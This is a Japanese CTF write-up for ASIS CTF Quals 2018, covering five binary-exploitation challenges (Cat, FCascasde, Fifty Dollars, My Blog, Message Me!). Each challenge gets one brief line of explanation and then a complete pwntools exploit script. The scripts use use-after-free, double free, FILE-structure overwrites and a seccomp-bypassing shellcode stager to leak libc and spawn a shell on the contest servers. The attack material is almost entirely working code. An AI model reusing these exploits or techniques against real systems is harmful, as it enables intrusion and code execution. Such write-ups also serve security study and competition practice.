ASIS CTF Quals 2018 writeup
Cat
edit
で更新をしないとUAFが起きるので適当にやった
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./Cat') context(os='linux', arch=elf.arch) context(log_level='debug') # output verbose log RHOST = "178.62.40.102" RPORT = 6000 LHOST = "127.0.0.1" LPORT = 6000 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./Cat'], gdbscript=gdbscript) else: conn = process(['./Cat']) # conn = process(['./Cat'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def create(name, kind, age): conn.sendlineafter('which command?', '1') conn.sendafter('name?', name) conn.sendafter('kind?', kind) conn.sendlineafter('old?', str(age)) def edit(idx, name, kind, age, flag): conn.sendlineafter('which command?', '2') conn.sendlineafter('id?', str(idx)) conn.sendafter('name?', name) conn.sendafter('kind?', kind) conn.sendlineafter('old?', age) conn.recvuntil('/n> ') if flag: conn.sendline('y') else: conn.sendline('n') def delete(idx): conn.sendlineafter('> ', '5') conn.sendlineafter('> ', str(idx)) # exploit log.info('Pwning') create('a'*8, 'b'*8, 20) edit(0, 'x'*8, 'y'*8, '20', False) create('e'*8, p64(0x602000), 20) edit(0, 'w'*8, p64(0x602068), '20', True) conn.recvuntil('which command?') conn.sendline('4') conn.recvuntil('name: ') conn.recvuntil('name: ') libc_base = u64(conn.recv(6) + '\x00\x00') - 0x36e80 dbg("libc_base") create('a'*8, 'b'*8, 20) create('s'*0x10, 'v'*0x10, 20) # 3 edit(3, 'x'*0x10, p64(0x602068) * 2, '20', False) create('x'*10, p64(0x602068)*2, 100) edit(3, 'hogehoge', p64(libc_base + 0x45390), '/bin/sh\x00', False) conn.interactive()
FCascasde
適当にstdinの_IO_buf_base
へnull byteを書き込んで制御をとった。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./fstream') context(os='linux', arch=elf.arch) context(log_level='debug') # output verbose log RHOST = "178.62.40.102" RPORT = 6002 LHOST = "127.0.0.1" LPORT = 6002 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ b *0x400A91 continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./fstream'], gdbscript=gdbscript) else: conn = process(['./fstream']) # conn = process(['./fstream'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) # exploit log.info('Pwning') conn.recvuntil('>') conn.sendline('11010110\x00') conn.recvuntil('>') conn.send('0'*0x98) conn.recvuntil('0'*0x98) libc_base = u64(conn.recv(6)+'\x00'*2) - 0x20830 dbg('libc_base') conn.recvuntil('>') conn.send('0'*0x30 + p64(libc_base + 0x4526a) + p64(0)* 0x10) conn.recvuntil('>') conn.sendline('1'*0x8) conn.recvuntil('>') conn.sendline('10110101') conn.recvuntil('>') conn.sendline(str(libc_base + 0x3c4918 + 1)) conn.recvuntil('>') payload = p64(0xdeadbeef) * 3 payload += p64(libc_base + 0x3c4b10) + p64(libc_base + 0x3c4b10 + 0x10) + p64(0) conn.sendline(payload) conn.sendline('x'*0x10 + p64(libc_base + 0x00036cfc )) conn.interactive()
Fifty Dollars
0x60のchunkしかmallocできないが、double freeがあるので適当にやった。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./fifty_dollars') context(os='linux', arch=elf.arch) #context(log_level='debug') # output verbose log RHOST = "178.62.40.102" RPORT = 6001 LHOST = "127.0.0.1" LPORT = 6001 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./fifty_dollars'], gdbscript=gdbscript) else: conn = process(['./fifty_dollars']) # conn = process(['./fifty_dollars'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def alloc(idx, tmp): conn.sendlineafter('Your choice:', '1') conn.sendlineafter('Index:', str(idx)) conn.sendafter('Content:', tmp) def show(idx): conn.sendlineafter('Your choice:', '2') conn.sendlineafter('Index:', str(idx)) def delete(idx): conn.sendlineafter('Your choice:', '3') conn.sendlineafter('Index:', str(idx)) # exploit log.info('Pwning') alloc(0, 'hoge'*0x8) alloc(1, 'hoge'*0x8) delete(1) delete(0) show(0) buf = conn.recvuntil('Done!')[:6] heap_base = u64(buf+'\x00'*2) - 0x60 dbg("heap_base") alloc(0, 'x'*0x20) alloc(1, 'y'*0x40+p64(0)+p64(0x61)) alloc(2, 'z'*0x20) alloc(3, 'w'*0x20) alloc(4, 'u'*0x20) delete(0) delete(1) delete(0) alloc(0, p64(heap_base+0xb0) + 'hogehoge') alloc(1, 'hoge') alloc(1, 'hoge') payload = p64(0) + p64(0xc1) alloc(1, payload) delete(2) show(2) buf = conn.recvuntil('Done!')[:6] libc_base = u64(buf+'\x00'*2) - 0x3c4b78 dbg("libc_base") alloc(1, 'hoge'*11 + 'x'*8) alloc(1, 'hoge'*10) alloc(0, 'x'*0x20) alloc(1, 'y'*0x40+p64(0)+p64(0x61)) alloc(2, 'z'*0x40+p64(0)+p64(0x61)) payload = p64(0) + p64(0xc1) alloc(1, payload) alloc(3, p64(0xdeadbeef)*2) alloc(4, 'u'*0x30 + p64(0) + p64(0x31)) aa = 59 for i in range(aa - 13): print i alloc(8, 'a') for i in range(13 - 4): print i alloc(8, 'b') payload = 'x'*0x20 payload += p64(0) + p64(0x31) alloc(8, payload) for _ in range(3): alloc(8, 'c') payload = 'x'*0x10 payload += p64(0) + p64(0x31) alloc(8, payload) delete(0) delete(1) delete(0) alloc(0, p64(heap_base+0x290) + 'hogehoge') alloc(1, 'hoge'*12 + p64(libc_base + 0x3c49c0)) alloc(1, 'hoge'*10) payload = p64(0) + p64(0xc1) + p64(libc_base + 0x4526a) * 8 alloc(1, payload) delete(2) delete(1) payload = p64(0) + p64(0x61) + p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c67f8 - 0x10 ) alloc(7, payload) payload = p64(libc_base + 0x3c4b78) * 2 alloc(7, payload) delete(1) payload = p64(0) + p64(0x181) + p64(libc_base + 0x3c4b78) * 2 alloc(7, payload) delete(2) delete(1) payload = p64(0) + p64(0x61) payload += p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c5520 - 0x10) alloc(9, payload) delete(1) payload = p64(0) + p64(0x17c1) + p64(0) * 2 alloc(7, payload) delete(2) delete(1) payload = p64(0) + p64(0x17c1 - 0x10*23) + p64(0) * 2 alloc(7, payload) delete(2) delete(1) payload = p64(0) * 3 + p64(libc_base + 0xf1147) alloc(1, payload) conn.interactive()
My Blog
seccompでsandboxになっているが、openはopenatで簡単に回避できるので、stagerを流して本体のshellcodeを実行させた。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./myblog') context(os='linux', arch=elf.arch) context(log_level='debug') # output verbose log RHOST = "159.65.125.233" RPORT = 31337 LHOST = "127.0.0.1" LPORT = 31337 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./myblog'], gdbscript=gdbscript) else: conn = process(['./myblog']) # conn = process(['./myblog'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def write(con, aut): conn.sendlineafter('4. Exit\n', '1') conn.recvuntil('content') conn.sendline(con) conn.recvuntil('author') conn.sendline(aut) def delete(idx): conn.sendlineafter('4. Exit\n', '2') conn.sendlineafter('index', str(idx)) def show(name): conn.sendlineafter('4. Exit\n', '3') conn.send(name) def bof(pay): conn.sendlineafter('4. Exit\n', '31337') conn.recvuntil('gift 0x') addr = int(conn.recv(12), 16) - 0x0 conn.send(pay) return addr # exploit log.info('Pwning') bin_base = bof('abcd') - 0xef4 dbg('bin_base') for i in range(0x31): write('hoge', 'fuga') show(p64(bin_base + 0x202040)[:7]) delete(-1) for i in range(0x31): delete(i) write('x'*0x2e, 'y'*4) conn.sendline('3') conn.recvuntil('Old Owner : ') heap_base = u64(conn.recv(6)+'\x00'*2) - 0x970 dbg("heap_base") conn.sendline('hoge') # 0x0000116b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) pop_rbp_r12_r13_r14_r15 = bin_base + 0x0000116b pop_rdi = bin_base + 0x00001173 pop_rbp = bin_base + 0x00000990 pop_rsi_r15 = bin_base + 0x00001171 # : pop rsi ; pop r15 ; ret ; (1 found) leave_ret = bin_base + 0x10fa heap = heap_base + 0x1ef0 + 0x38 rop = p64(pop_rdi) + p64(0x0) rop += p64(pop_rbp) + p64(bin_base +0x202040) rop += p64(leave_ret) write(rop[:0x2e], 'y'*0x6) write('x'*0x2e, 'y'*0x6) write('x'*0x2e, 'y'*0x6) #write('x'*0x20, 'y'*4) shellcode = ''' hoge: syscall; push rcx; pop rsi; pop rax; jmp hoge; ''' show(asm(shellcode)) raw_input('exec shellcode') bof(p64(heap)*2+p64(bin_base + 0x000010fa)) shellcode = ''' push 0x30 pop rax xor al, 0x30 push rax mov rax, 7449354444781596526 push rax mov rax, 8606431000579237935 push rax mov rdi, -100 mov rsi, rsp xor rdx, rdx xor r10, r10 mov rax, 257 syscall mov rdi, rax lea rsi, [rsp+0x100] mov rdx, 0x100 xor rax, rax syscall mov rdi, 0x1 lea rsi, [rsp+0x100] mov rdx, 0x100 mov rax, 1 syscall ''' conn.sendline('\x90'*0x30 + asm(shellcode)) conn.interactive()
Message Me!
リモートと手元の環境ではtimezoneが違うせいか、ctimeによってheapの状況が変わり元々のexploitは刺さらなかった。固定アドレスとなっているbss上に必要なものを配置した。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./message_me') context(os='linux', arch=elf.arch) # context(log_level='debug') # output verbose log RHOST = "159.65.125.233" RPORT = 6003 LHOST = "127.0.0.1" LPORT = 6003 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./message_me'], gdbscript=gdbscript) else: conn = process(['./message_me']) # conn = process(['./message_me'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def add(size, mess): conn.sendlineafter('choice : ', '0') conn.sendlineafter('size : ', str(size)) conn.sendafter('meesage', mess) def remove(idx): conn.sendlineafter('choice : ', '1') conn.sendlineafter('Give me index of the message : ', str(idx)) conn.recvuntil('Done') def show(idx): conn.sendlineafter('choice : ', '2') conn.sendlineafter('Give me index of the message : ', str(idx)) def change_time_stamp(idx): conn.sendlineafter('choice : ', '3') conn.sendlineafter('Give me index', str(idx)) conn.recvuntil('Done') # exploit log.info('Pwning') add(0xf00, 'hoge'*10) add(0x100, 'hoge'*10) remove(0) add(0x80, 'x') show(2) conn.recvuntil('Message : ') libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c5178 dbg('libc_base') stdout = libc_base + 0x3c5620 stdin = libc_base + 0x3c48e0 add(0x60, p64(0x71) + p64(0x602075)) # 3 add(0x60, 'hoge') # 4 remove(3) remove(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(4) add(0x60, 'hoge') add(0x60, 'hoge') payload = 'x'*0xb + 'y'*8 payload += p64(libc_base + 0x3c5620) * 2+p64(libc_base + 0x3c48e0) + p64(0x181) payload += p64(0x6020c0) + p64(0x602230+8)+ p64(0x602230+0x28) print hex(len(payload)) add(0x60, payload) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(2) change_time_stamp(2) change_time_stamp(2) change_time_stamp(2) remove(0) fake_stdout = p64(0x0) fake_stdout += p64(0xfbad2887) + p64(0)*2+p64(libc_base + 0x3c56a3) * 5 + p64(libc_base +0x3c56a4) fake_stdout += p64(0)*4 + p64(libc_base+0x3c48e0) fake_stdout += p64(1) + p64(0xffffffffffffffff) fake_stdout += p64(0) + p64(libc_base+0x3c6780) fake_stdout += p64(0xffffffffffffffff) + p64(0) fake_stdout += p64(libc_base+0x3c47a0) + p64(0)*3 fake_stdout += p64(0xffffffff) + p64(0)*2 fake_stdout += p64(0x6021b0) vtable = 'a'*0x18 + p64(libc_base + 0x4526a) + 'c'*0x18 + p64(libc_base + 0x791e0) + 'b'*0x30 add(0x170, fake_stdout+vtable) add(0x60, p64(0x71)+p64(0x602075)) add(0x60, 'fugafugafugafuga') remove(3) remove(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(3) change_time_stamp(3) change_time_stamp(3) change_time_stamp(3) change_time_stamp(3) change_time_stamp(4) add(0x60, 'fugafugafugafuga') add(0x60, 'fugafugafugafuga') add(0x60, 'x'*0xb + 'y'*8 + p64(0x6020d0)) conn.interactive()